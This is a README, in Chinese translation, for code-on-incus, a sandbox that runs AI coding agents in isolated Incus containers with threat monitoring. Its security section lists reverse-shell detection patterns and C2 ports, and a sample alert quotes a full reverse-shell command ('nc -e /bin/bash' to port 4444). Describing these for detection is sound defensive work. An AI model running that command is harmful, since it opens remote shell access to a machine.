mensfeld/code-on-incus

# code-on-incus (`coi`) [](https://opensource.org/licenses/MIT) [](https://golang.org/) [](https://github.com/mensfeld/code-on-incus/releases) **具备实时威胁检测功能、针对 AI 编码代理的安全加固容器运行时** 在隔离的、生产级的 Incus 容器中运行 AI 编码助手（Claude Code、opencode、Aider 等），无需为权限问题烦恼，拥有完美的文件所有权，并支持真正的多会话功能。 **有限的波及范围：** 提前准备您的工作空间，让 AI 代理在隔离环境中运行，验证结果。没有 SSH 密钥，没有环境变量，没有凭证暴露。如果遭到破坏，损害仅限于您的工作空间。网络隔离有助于防止数据渗出。您的主机系统受到保护。 **安全第一：** 与 Docker 或裸机执行不同，您的环境变量、SSH 密钥和 Git 凭证**绝不**会暴露给 AI 工具。容器在完全隔离的环境中运行，除非显式挂载，否则无法访问您的主机凭证。 **主动防御：** COI 不仅隔离 AI 工具——它还主动监控它们。内置的安全监控守护进程实时检测反向 shell、凭证扫描和大量数据读取，在损害发生之前自动暂停或终止容器。无需人工干预。 *可以把它看作是用于 AI 编码工具的 Docker，但使用的是像真实机器一样运行的系统容器。*  ## 目录 - [支持的 AI 编码工具](#supported-ai-coding-tools) - [功能特性](#features) - [快速开始](#quick-start) - [为什么选择 Incus 而不是 Docker 或 Docker 沙箱？](#why-incus-instead-of-docker-or-docker-sandboxes) - [安装说明](#installation) - [使用说明](#usage) - [会话恢复](#session-resume) - [持久化模式](#persistent-mode) - [配置](#configuration) - [系统健康检查](https://github.com/mensfeld/code-on-incus/wiki/System-Health-Check) - [容器生命周期与会话持久化](https://github.com/mensfeld/code-on-incus/wiki/Container-Lifecycle-and-Sessions) - [网络隔离](https://github.com/mensfeld/code-on-incus/wiki/Network-Isolation) - [安全监控](#security-monitoring) - [资源和时间限制](https://github.com/mensfeld/code-on-incus/wiki/Resource-and-Time-Limits) - [安全最佳实践](https://github.com/mensfeld/code-on-incus/wiki/Security-Best-Practices) - [故障排除](https://github.com/mensfeld/code-on-incus/wiki/Troubleshooting) - [常见问题](https://github.com/mensfeld/code-on-incus/wiki/FAQ) ## 支持的 AI 编码工具 当前支持： - **Claude Code**（默认）- Anthropic 的官方 CLI 工具 - **opencode** - 开源 AI 编码代理 (https://opencode.ai) 即将推出： - Aider - 您终端中的 AI 结对编程 - Cursor - AI 优先的代码编辑器 - 以及更多... 工具抽象层使得添加对新 AI 编码助手的支持变得容易。 ## 功能特性 **核心能力** - 多槽位支持 - 在完全隔离的情况下为同一工作空间运行并行的 AI 编码会话 - 会话恢复 - 恢复对话，完整保留历史记录和凭证（工作空间范围） - 持久化容器 - 在会话之间保持容器存活（保留已安装的工具） - 工作空间隔离 - 每个会话挂载您的项目目录 - 槽位隔离 - 每个并行槽位都有自己的主目录（文件不会在槽位之间泄漏） - 即使在临时模式下工作空间文件也会保留** - 只有容器被删除，您的工作始终被保存 - 容器快照 - 创建检查点、回滚更改，并在保留完整状态的情况下对实验进行分支 **安全与隔离** - 凭证保护 - SSH 密钥、`.env` 文件、Git 凭证和环境变量**绝不**暴露，除非显式挂载 - 实时威胁检测 - 内核级 nftables 监控检测反向 shell、C2 连接、数据渗出、DNS 隧道和凭证扫描 - 自动响应 - HIGH（高）威胁时自动暂停，CRITICAL（严重）威胁时自动终止——无需人工干预 - 网络隔离 - 基于 Firewalld 的受限/白名单/开放模式，阻止专用网络访问并防止数据渗出 - 受保护路径 - `.git/hooks`、`.git/config`、`.husky`、`.vscode` 以只读方式挂载，以防止供应链攻击 - 系统容器 - 具有非特权容器的完整操作系统隔离，优于 Docker 特权模式 - 自动 UID 映射 - 没有权限地狱，文件所有权正确 - 审计日志 - 所有安全事件记录到 JSONL 中，用于取证和合规 **安全的危险操作** - AI 编码工具通常需要广泛的文件系统访问权限或绕过权限检查 - **这些操作在容器内是安全的**，因为“root”是容器 root，而不是您的主机系统 - 容器是临时的——任何更改都包含在内，不会影响您的主机 - 这赋予了 AI 工具完整的功能，同时保护您的系统 ## 快速开始 ``` # 安装 curl -fsSL https://raw.githubusercontent.com/mensfeld/code-on-incus/master/install.sh | bash # 构建镜像 (仅首次，约 5-10 分钟) coi build # 使用您首选的 AI 工具开始编码 (默认为 Claude Code) cd your-project coi shell # 或者改用 opencode coi shell --tool opencode # 完成！您的 AI 编程助手现已在隔离容器中运行，具有： # - 您的项目挂载在 /workspace # - 正确的文件权限 (不再需要 chown！) # - 容器内完整的 Docker 访问权限 # - GitHub CLI 可用，用于 PR/issue 管理 # - 所有工作区更改自动持久化 # - 无法访问您的主机 SSH 密钥、环境变量或凭据 ``` ## 为什么选择 Incus 而不是 Docker 或 Docker 沙箱？ ### 什么是 Incus？ Incus 是一个现代 Linux 容器和虚拟机管理器，从 LXD 分叉而来。与 Docker（使用应用程序容器）不同，Incus 提供**系统容器**，其行为类似于具有完整 init 系统的轻量级虚拟机。 ### 安全性比较 | 功能 | **code-on-incus** | Docker 沙箱 | 裸机 | |------------|-------------------|----------------|------------| | **凭证隔离** | 默认（绝不暴露） | 部分 | 无 | | **实时威胁检测** | 内核级（nftables） | 无 | 无 | | **反向 shell 检测** | 自动终止 | 无 | 无 | | **数据渗出警报** | 自动暂停 | 无 | 无 | | **网络隔离** | Firewalld（3 种模式） | 基础 | 无 | | **受保护路径** | 只读挂载 | 无 | 无 | | **自动响应（暂停/终止）** | 是 | 无 | 无 | | **审计日志** | JSONL 取证 | 无 | 无 | | **供应链攻击预防** | Git hooks/IDE 配置受保护 | 无 | 无 | ### 为什么选择 Incus 而不是 Docker 沙箱？ - **Linux 优先，而非 Linux 最后。** Docker 沙箱的 microVM 隔离仅在 macOS 和 Windows 上可用。Linux 只能得到基于传统容器的后备方案。COI 从头开始为 Linux 构建，因为 Incus 是 Linux 原生的。 - **不需要 Docker Desktop。** Docker 沙箱是 Docker Desktop 的一项功能。Docker Desktop 不是开源的，并且对大型组织有商业许可要求。COI 仅依赖于 Incus——完全开源，无供应商锁定，无额外运行时。 - **系统容器，而非虚拟机中的容器。** Incus 系统容器运行完整的操作系统，内部具有 systemd 和原生 Docker 支持——一层干净的隔离。Docker 沙箱将应用程序容器嵌套在 microVM 内，增加了架构复杂性。 - **没有权限地狱。** Incus 自动 UID/GID 移位意味着代理创建的文件在主机上具有正确的所有权。无需 `chown`，无需映射技巧。 - **默认凭证隔离。** 除非显式挂载，否则主机环境变量、SSH 密钥和 Git 凭证绝不暴露给 AI 工具。 - **简单透明。** 没有单独的守护进程，没有不透明的虚拟机嵌套。COI 直接与 Incus 通信——易于检查、调试和扩展。 ### 与 Docker 的主要区别 | 功能 | **code-on-incus (Incus)** | Docker | |---------|---------------------------|--------| | **容器类型** | 系统容器（完整操作系统） | 应用程序容器 | | **Init 系统** | 完整 systemd/init | 无 init（单进程） | | **UID 映射** | 自动 UID 移位 | 需要手动映射 | | **安全性** | 默认非特权 | 通常需要特权模式 | | **文件权限** | 保留（UID 移位） | 主机 UID 冲突 | | **启动时间** | ~1-2 秒 | ~0.5-1 秒 | | **容器中运行 Docker** | 原生支持 | 需要 DinD 技巧 | ### 优势 - **没有权限地狱** - Incus 自动将容器 UID 映射到主机 UID。AI 工具在容器内创建的文件在主机上具有正确的所有权。不需要 `chown`。 - **真正的隔离** - 完整的系统容器意味着 AI 工具可以运行 Docker、systemd 服务等。比 Docker 的特权模式更安全。 - **持久化状态** - 系统容器可以停止/启动而不会丢失数据。非常适合长时间运行的 AI 编码会话。 - **资源效率** - 像 Docker 一样共享内核，比虚拟机开销更低，更适合并行会话的密度。 ## 安装说明 ### 自动安装（推荐） ``` # 一键安装 curl -fsSL https://raw.githubusercontent.com/mensfeld/code-on-incus/master/install.sh | bash # 这将： # - 下载并安装 coi 到 /usr/local/bin # - 检查 Incus 安装情况 # - 验证您是否在 incus-admin 组中 # - 显示后续步骤 ``` ### 手动安装 适用于希望验证每一步或无法使用自动安装程序的用户： **前置条件：** 1. **Linux 操作系统** - 仅支持 Linux（Incus 仅限 Linux） - 支持的架构：x86_64/amd64, aarch64/arm64 2. **已安装并初始化 Incus** **Ubuntu/Debian:** sudo apt update sudo apt install -y incus **Arch/Manjaro:** sudo pacman -S incus # 启用并启动服务（Arch 上不会自动启动） sudo systemctl enable --now incus.socket # 为非特权容器配置 idmap echo "root:1000000:1000000000" | sudo tee -a /etc/subuid echo "root:1000000:1000000000" | sudo tee -a /etc/subgid sudo systemctl restart incus.service 有关其他发行版，请参阅 [Incus 安装指南](https://linuxcontainers.org/incus/docs/main/installing/)。 **初始化 Incus（所有发行版）：** sudo incus admin init --auto 3. **用户在 incus-admin 组中** sudo usermod -aG incus-admin $USER # 注销并重新登录以使组更改生效 **安装步骤：** 1. **下载二进制文件**（适用于您的平台）： # 对于 x86_64/amd64 curl -fsSL -o coi https://github.com/mensfeld/code-on-incus/releases/latest/download/coi-linux-amd64 # 对于 aarch64/arm64 curl -fsSL -o coi https://github.com/mensfeld/code-on-incus/releases/latest/download/coi-linux-arm64 2. **验证下载**（可选但推荐）： # 检查文件大小和类型 ls -lh coi file coi 3. **安装二进制文件**： chmod +x coi sudo mv coi /usr/local/bin/ sudo ln -sf /usr/local/bin/coi /usr/local/bin/claude-on-incus 4. **验证安装**： coi --version **替代方案：从源代码构建** 如果您喜欢从源代码构建或需要特定版本： **构建依赖：** ``` # 必需：Go 1.24.4 或更高版本 sudo apt-get install golang-go # 可选：用于 NFT 网络监控支持 # (如果您只使用进程/文件系统监控，则不需要) sudo apt-get install libsystemd-dev ``` **构建并安装：** ``` git clone https://github.com/mensfeld/code-on-incus.git cd code-on-incus make build sudo make install ``` **注意：** 如果您没有安装 `libsystemd-dev`，构建仍然会成功，但 NFT 网络监控功能将不可用。进程监控、文件系统监控和所有核心功能将正常工作。 **安装后设置：** 1. **可选：设置 ZFS 以实现即时容器创建** # 安装 ZFS # Ubuntu/Debian（可能并非适用于所有内核）： sudo apt-get install -y zfsutils-linux # Arch/Manjaro（将 617 替换为您从 uname -r 获取的内核版本）： # sudo pacman -S linux617-zfs zfs-utils # 创建 ZFS 存储池（50GiB） sudo incus storage create zfs-pool zfs size=50GiB # 配置默认配置文件以使用 ZFS incus profile device set default root pool=zfs-pool 这会将容器启动时间从 5-10 秒减少到约 50 毫秒。如果 ZFS 不可用，容器将使用默认存储（较慢但功能完整）。 2. **验证组成员身份**（必须在新的 shell/登录中完成）： groups | grep incus-admin **故障排除：** - **“Permission denied”错误**：确保您在 `incus-admin` 组中并且已注销/登录 - **“incus: command not found”**：按照[官方指南](https://linuxcontainers.org/incus/docs/main/installing/)安装 Incus - **无法下载二进制文件**：检查您的互联网连接和 GitHub 访问权限，或从源代码构建 ### 构建镜像 ``` # 构建统一的 coi 镜像 (5-10 分钟) coi build # 通过您自己的构建脚本自定义镜像 coi build custom my-rust-image --script build-rust.sh coi build custom my-image --base coi --script setup.sh ``` **`coi` 镜像中包含的内容：** - Ubuntu 22.04 基础 - Docker（完整的 Docker-in-container 支持） - Node.js 20 + npm - Claude Code CLI（默认 AI 工具） - GitHub CLI (`gh`) - tmux 用于会话管理 -常用构建工具（git、curl、build-essential 等） **自定义镜像：** 使用在基础 `coi` 镜像之上运行的构建脚本来构建您自己的专用镜像。 ## macOS 支持 **✅ COI 可在 macOS 上运行**，使用 [Colima](https://github.com/abiosoft/colima) 或 [Lima](https://github.com/lima-vm/lima) 虚拟机。 请参阅 [macOS 设置指南](https://github.com/mensfeld/code-on-incus/wiki/macOS-Setup-Guide) 获取完整说明，包括： - Colima/Lima 安装和设置 - 自动环境检测 - 网络配置（需要 `--network=open`） - macOS 用户的 AWS Bedrock 设置 **快速开始：** ``` brew install colima colima start --cpu 4 --memory 8 --disk 50 colima ssh # 按照指南中的安装步骤操作 ``` ## 使用说明 ### 基本命令 ``` # 交互式会话 (默认为 Claude Code) coi shell # 持久模式 - 在会话之间保留容器 coi shell --persistent # 使用特定槽位进行并行会话 coi shell --slot 2 # 恢复上一个会话 (自动检测此工作区的最新会话) coi shell --resume # 通过 ID 恢复特定会话 coi shell --resume= # 连接到现有会话 coi attach # 列出活动容器和已保存的会话 coi list --all # 优雅地关闭特定容器 (60秒超时) coi shutdown coi-abc12345-1 # 使用自定义超时关闭 coi shutdown --timeout=30 coi-abc12345-1 # 关闭所有容器 coi shutdown --all # 强制终止特定容器 (立即) coi kill coi-abc12345-1 # 终止所有容器 coi kill --all # 清理已停止的容器和孤立资源 (veths, firewall rules, zone bindings) coi clean # 在支持 PTY 的容器中执行命令 coi container exec mycontainer -t -- bash # Interactive shell with PTY coi container exec mycontainer -- echo "hello" # Non-interactive command # 列出所有容器 (底层，用于编程用途) coi container list # Text format (default) coi container list --format=json # JSON format # 在主机和容器之间传输文件 coi file push ./config.json mycontainer:/workspace/config.json coi file push -r ./src mycontainer:/workspace/src coi file pull mycontainer:/workspace/output.log ./output.log coi file pull -r mycontainer:/root/.claude ./backup/ # 管理自定义镜像 coi image list # List COI images coi image list --all # List all local images coi image list --prefix myproject- --format=json # Filter and output as JSON coi image publish mycontainer my-custom-image # Publish container as image coi image exists my-custom-image # Check if image exists coi image delete my-old-image # Delete image coi image cleanup myproject- --keep 3 # Keep only 3 most recent versions ``` ### 全局参数 ``` --workspace PATH # Workspace directory to mount (default: current directory) --slot NUMBER # Slot number for parallel sessions (0 = auto-allocate) --persistent # Keep container between sessions --resume [SESSION_ID] # Resume from session (omit ID to auto-detect latest for workspace) --continue [SESSION_ID] # Alias for --resume --profile NAME # Use named profile --image NAME # Use custom image (default: coi) --env KEY=VALUE # Set environment variables --storage PATH # Mount persistent storage ``` ### 高级用法 有关高级功能的详细文档，请参阅 Wiki： - **[容器操作](https://github.com/mensfeld/code-on-incus/wiki/Container-Operations)** - 容器管理和低级操作 - **[文件传输](https://github.com/mensfeld/code-on-incus/wiki/File-Transfer)** - 在主机和容器之间推/拉文件 - **[Tmux 自动化](https://github.com/mensfeld/code-on-incus/wiki/Tmux-Automation)** - 使用 tmux 命令自动化 AI 会话 - **[镜像管理](https://github.com/mensfeld/code-on-incus/wiki/Image-Management)** - 创建和管理自定义镜像 ### 快照管理 有关快照的完整文档，请参阅[快照管理指南](https://github.com/mensfeld/code-on-incus/wiki/Snapshot-Management)。 **快速参考：** ``` coi snapshot create checkpoint-1 # Create named snapshot coi snapshot list # List snapshots coi snapshot restore checkpoint-1 # Restore (container must be stopped) coi snapshot delete checkpoint-1 # Delete snapshot ``` ## 会话恢复 会话恢复允许您恢复之前的 AI 编码会话，并完整保留历史记录和凭证。 **用法：** ``` # 自动检测并恢复此工作区的最新会话 coi shell --resume # 通过 ID 恢复特定会话 coi shell --resume= # 别名：--continue 功能相同 coi shell --continue # 列出可用会话 coi list --all ``` **恢复内容：** - 之前会话的完整对话历史 - 工具凭证和身份验证（无需重新认证） - 用户设置和偏好 - 项目上下文和对话状态 **工作原理：** - 每次会话后，工具状态目录（例如 `.claude`）会自动保存到 `~/.coi/sessions-/` - 恢复时，会话数据在工具启动前恢复到容器中 - 从您的主机配置目录注入新凭证 - AI 工具自动从您中断的地方继续 **工作空间范围会话：** - `--resume` 仅查找来自**当前工作空间目录**的会话 - 来自其他工作空间的会话永远不会被考虑（安全功能） - 这可以防止意外恢复具有不同项目上下文的会话 - 每个工作空间维护自己的会话历史 **注意：** 恢复适用于临时容器和持久化容器。对于临时容器，容器会被重新创建，但对话会无缝继续。 ## 持久化模式 默认情况下，容器是**临时的**（退出时删除）。无论哪种模式，您的**工作空间文件始终保留**。 启用**持久化模式**以同时保留容器及其已安装的软件包： **通过 CLI：** ``` coi shell --persistent ``` **通过配置（推荐）：** ``` # ~/.config/coi/config.toml [defaults] persistent = true ``` **优势：** - 一次安装，永久使用 - `apt install`、`npm install` 等都会保留 - 更快的启动 - 重用现有容器而不是重建 - 构建产物保留 - 每次会话无需重新编译 **编码机器概念：** 将持久化容器视为由 AI 代理拥有的专用编码机器。代理可以自由安装软件、配置工具、修改环境——这是他们的机器。您的工作空间被挂载到他们的机器中，他们进行工作，您取回结果。这种自主性让代理能够高效工作，而无需重复设置环境，同时您的主机系统受到保护。 **保留内容：** - **临时模式：** 工作空间文件 + 会话数据（容器已删除） - **持久化模式：** 工作空间文件 + 会话数据 + 容器状态 + 已安装的软件包，系统设置 ## 配置 配置文件：`~/.config/coi/config.toml` ``` [defaults] image = "coi" persistent = true mount_claude_config = true [tool] name = "claude" # AI coding tool to use: "claude" (default) or "opencode" # binary = "claude" # 可选：覆盖二进制文件名 [paths] # 注意：sessions_dir 已弃用 - 现在会自动使用特定工具的目录 # (例如，~/.coi/sessions-claude/, ~/.coi/sessions-aider/) sessions_dir = "~/.coi/sessions" # Legacy path (not used for new sessions) storage_dir = "~/.coi/storage" [incus] project = "default" group = "incus-admin" claude_uid = 1000 [profiles.rust] image = "coi-rust" environment = { RUST_BACKTRACE = "1" } persistent = true ``` **配置层次结构**（最后优先级最高）： 1. 内置默认值 2. 系统配置（`/etc/coi/config.toml`） 3. 用户配置（`~/.config/coi/config.toml`） 4. 项目配置（`./.coi.toml`） 5. CLI 参数 ## 资源和时间限制 有关控制容器资源消耗和运行时的完整文档，请参阅[资源和时间限制指南](https://github.com/mensfeld/code-on-incus/wiki/Resource-and-Time-Limits)。 **快速示例：** ``` # 限制 CPU、内存和运行时 coi shell --limit-cpu="2" --limit-memory="2GiB" --limit-duration="2h" ``` **可限制内容：** - CPU 核心数和使用率百分比 - 内存和交换空间 - 磁盘 I/O 速率 - 最大运行时间和进程数 - 达到时间限制时自动停止 ## 容器生命周期与会话持久化 有关容器和会话如何工作的详细说明，请参阅[容器生命周期和会话指南](https://github.com/mensfeld/code-on-incus/wiki/Container-Lifecycle-and-Sessions)。 **核心概念：** - **工作空间文件**：始终保存（无论哪种模式） - **会话数据**：始终保存到 `~/.coi/sessions-/` - **临时模式**（默认）：退出后删除容器，保留会话 - **持久化模式**（`--persistent`）：保留容器及所有已安装的软件包 - **恢复**（`--resume`）：在新的/现有的容器中恢复 AI 对话 **快速参考：** ``` coi shell --persistent # Keep container between sessions coi shell --resume # Resume previous conversation coi attach # Reconnect to running container sudo poweroff # Properly stop container (inside) coi shutdown # Graceful stop (outside) ``` ## 网络隔离 有关网络安全和 firewalld 设置的完整文档，请参阅[网络隔离指南](https://github.com/mensfeld/code-on-incus/wiki/Network-Isolation)。 **网络模式：** - **Restricted（受限，默认）** - 阻止专用网络，允许互联网 - **Allowlist（白名单）** - 仅允许特定域/IP - **Open（开放）** - 无限制（仅限受信任的项目） **快速示例：** ``` coi shell # Restricted mode (default) coi shell --network=allowlist # Allowlist mode coi shell --network=open # Open mode ``` **Docker Registry 访问：** 默认情况下，Docker Registry（docker.io、ghcr.io 等）在**受限模式**下可访问。在**白名单模式**下，您需要将 Registry 域添加到您的白名单： ``` # 用于 Docker Hub coi config set network.allowlist "registry-1.docker.io,auth.docker.io,production.cloudflare.docker.com" # 或者为此会话使用 open 模式 coi shell --network=open ``` `code` 用户拥有**无密码 sudo** 访问权限，因此 Docker 命令无需密码提示即可工作： ``` sudo docker pull alpine sudo docker run -it alpine sh ``` **从主机访问容器服务：** ``` coi list # Get container IP curl http://:3000 ``` **注意：** 网络隔离需要 firewalld。使用 `--network=open` 或参阅指南获取 firewalld 设置说明。 ## 安全监控 `coi` 包含**始终开启的安全监控**，以实时检测和响应恶意行为。监控守护进程在会话期间自动运行，并防止： **威胁检测：** - **反向 shell** - 检测 `nc -e`、`bash -i >& /dev/tcp/`、Python/Perl/Ruby 反向 shell 模式 - **数据渗出** - 监控可能表明代码窃取尝试的大量工作空间读取 - **环境扫描** - 标记搜索 API 密钥、机密和凭证的进程 - **网络威胁（NFT）** - 实时内核级检测： - 到专用网络的连接（RFC1918） - 云元数据端点访问（169.254.169.254） - 可疑端口（4444、5555、31337 - 常见的 C2/后门端口） - 白名单违规 - DNS 查询异常（隧道、意外服务器） - 轮询遗漏的短期连接（<2s） **自动响应：** - **INFO（信息）**：记录以供审查 - **WARNING（警告）**：记录 + 显示为警报 - **HIGH（高）**：记录 + 警报 + **容器暂停**（需要手动恢复） - **CRITICAL（严重）**：记录 + 警报 + **立即终止容器** **查看实时监控：** ``` # 监控正在运行的容器 coi monitor coi-abc-1 # 监视模式 (每 2 秒更新一次) coi monitor coi-abc-1 --watch 2 # 用于脚本编写的 JSON 输出 coi monitor coi-abc-1 --json ``` **查看审计日志：** ``` # 查看所有安全事件 coi monitor audit coi-abc-1 # 按严重性筛选 coi monitor audit coi-abc-1 --level=critical,high # 导出以供分析 coi monitor audit coi-abc-1 --export=report.json ``` **示例警报：** ``` ⚠ SECURITY ALERT [CRITICAL] Reverse shell detected Process 'nc -e /bin/bash 192.168.1.100 4444' (PID 1235) matches reverse shell pattern 'nc -e' → Action taken: killed → Logged to audit: ~/.coi/audit/coi-abc-1.jsonl ``` **配置：** ``` # ~/.config/coi/config.toml [monitoring] enabled = true # Enable/disable monitoring auto_pause_on_high = true # Pause on high-severity threats auto_kill_on_critical = true # Kill on critical threats poll_interval_sec = 2 # Monitoring frequency file_read_threshold_mb = 50.0 # MB read before alerting file_read_rate_mb_per_sec = 10.0 # Sustained read rate threshold audit_log_retention_days = 30 # Audit log retention [monitoring.nft] enabled = true # Enable nftables network monitoring rate_limit_per_second = 100 # Log volume limit dns_query_threshold = 100 # Alert on >N DNS queries/min log_dns_queries = true # Separate DNS logging lima_host = "" # For macOS: "lima-default" ``` **审计日志**以 JSON Lines 格式存储在 `~/.coi/audit/.jsonl`，用于取证和合规。 ### NFT 网络监控设置 NFT 监控需要额外的系统依赖。使用以下命令安装它们： ``` # 运行设置脚本 (需要 sudo) ./scripts/install-nft-deps.sh # 或者手动： sudo apt-get install -y libsystemd-dev nftables sudo usermod -a -G systemd-journal $USER # 配置 nft 命令的无密码 sudo echo '%incus-admin ALL=(ALL) NOPASSWD: /usr/sbin/nft' | sudo tee /etc/sudoers.d/coi-nft sudo chmod 0440 /etc/sudoers.d/coi-nft # 重要：请注销并重新登录以使组成员身份生效 # 或者运行：newgrp systemd-journal ``` **验证设置：** ``` # 检查 NFT 监控状态 coi health # 测试日志访问权限 journalctl -k -n 10 # 测试 nftables 访问权限 sudo -n nft list ruleset ``` **所需软件包：** - `libsystemd-dev` - 用于 journald 集成的 systemd 开发头文件 - `nftables` - 用于网络监控的内核级数据包过滤 - systemd-journal 组成员身份 - 无需 sudo 即可读取内核日志 - 用于 nft 命令的无密码 sudo - 无需提示即可添加/删除规则 ## 安全最佳实践 有关详细的安全建议，请参阅[安全最佳实践指南](https://github.com/mensfeld/code-on-incus/wiki/Security-Best-Practices)。 **自动保护安全敏感路径（默认）：** COI 自动将安全敏感路径挂载为只读，以防止容器修改可能在您主机上自动执行的文件： ``` coi shell # Protected paths mounted read-only (default) coi shell --writable-git-hooks # Opt-out (disables all protection) ``` **默认受保护路径：** - `.git/hooks` - Git hooks 在提交、推送等时执行。 - `.git/config` - 可以设置 `core.hooksPath` 以绕过 hooks 保护 - `.husky` - Husky git hooks 管理器 - `.vscode` - VS Code `tasks.json` 可以自动执行，`settings.json` 可以注入 shell 参数 **为什么这很重要：** 这些路径包含在您的主机系统上自动执行的文件。如果容器可以修改它们，则可能会注入在您提交、打开 IDE 或执行其他操作时运行的恶意代码。COI 默认阻止这些攻击媒介。 **通过配置自定义受保护路径：** ``` # ~/.config/coi/config.toml [security] # 添加附加路径而不替换默认值 additional_protected_paths = [".idea", "Makefile"] # 或者完全替换默认列表 # protected_paths = [".git/hooks", ".git/config"] # 禁用所有保护 (不推荐) # disable_protection = true ``` **旧选项 - 通过配置启用可写 hooks：** ``` # ~/.config/coi/config.toml [git] writable_hooks = true # Disables all path protection ``` **额外保护 - 在提交 AI 生成的代码时禁用 git hooks：** ``` # 禁用 hooks 进行提交 (额外安全层) git -c core.hooksPath=/dev/null commit --no-verify -m "your message" # 或者创建一个别名 alias gcs='git -c core.hooksPath=/dev/null commit --no-verify' ``` ## 系统健康检查 有关诊断和检查内容的详细信息，请参阅[系统健康检查指南](https://github.com/mensfeld/code-on-incus/wiki/System-Health-Check)。 **运行诊断：** ``` coi health # Basic health check coi health --format json # JSON output coi health --verbose # Additional checks ``` **检查内容：** 系统信息、Incus 设置、权限、网络配置、存储和正在运行的容器。 **退出代码：** 0（健康），1（降级），2（不健康） ## 故障排除 有关常见问题和解决方案，请参阅[故障排除指南](https://github.com/mensfeld/code-on-incus/wiki/Troubleshooting)。 **常见问题：** - **构建期间的 DNS 问题** - COI 自动修复 systemd-resolved 冲突 - 运行 `coi health` 以诊断设置问题 - 查看故障排除指南以获取详细的解决方案 ## 常见问题 请参阅 [FAQ](https://github.com/mensfeld/code-on-incus/wiki/FAQ) 获取常见问题的解答。 **涵盖主题：** - COI 与 Docker 沙箱和 DevContainers 的比较 - Windows 支持（WSL2） - 安全模型和提示注入保护 - API 密钥安全和信任模型 - 什么是 Incus？（与 tmux 对比）

标签：Aider, AI编程, AMSI绕过, Claude Code, DevSecOps, DNS 反向解析, Golang, HTTP工具, Incus, JSONLines, Web截图, 上游代理, 代码安全, 会话持久化, 入侵防御, 凭证保护, 勒索软件防护, 反向shell检测, 威胁检测, 安全编程, 容器安全, 日志审计, 沙盒运行时, 沙箱, 漏洞枚举, 系统容器, 网络安全审计, 自动响应, 防数据泄露, 隔离环境, 零信任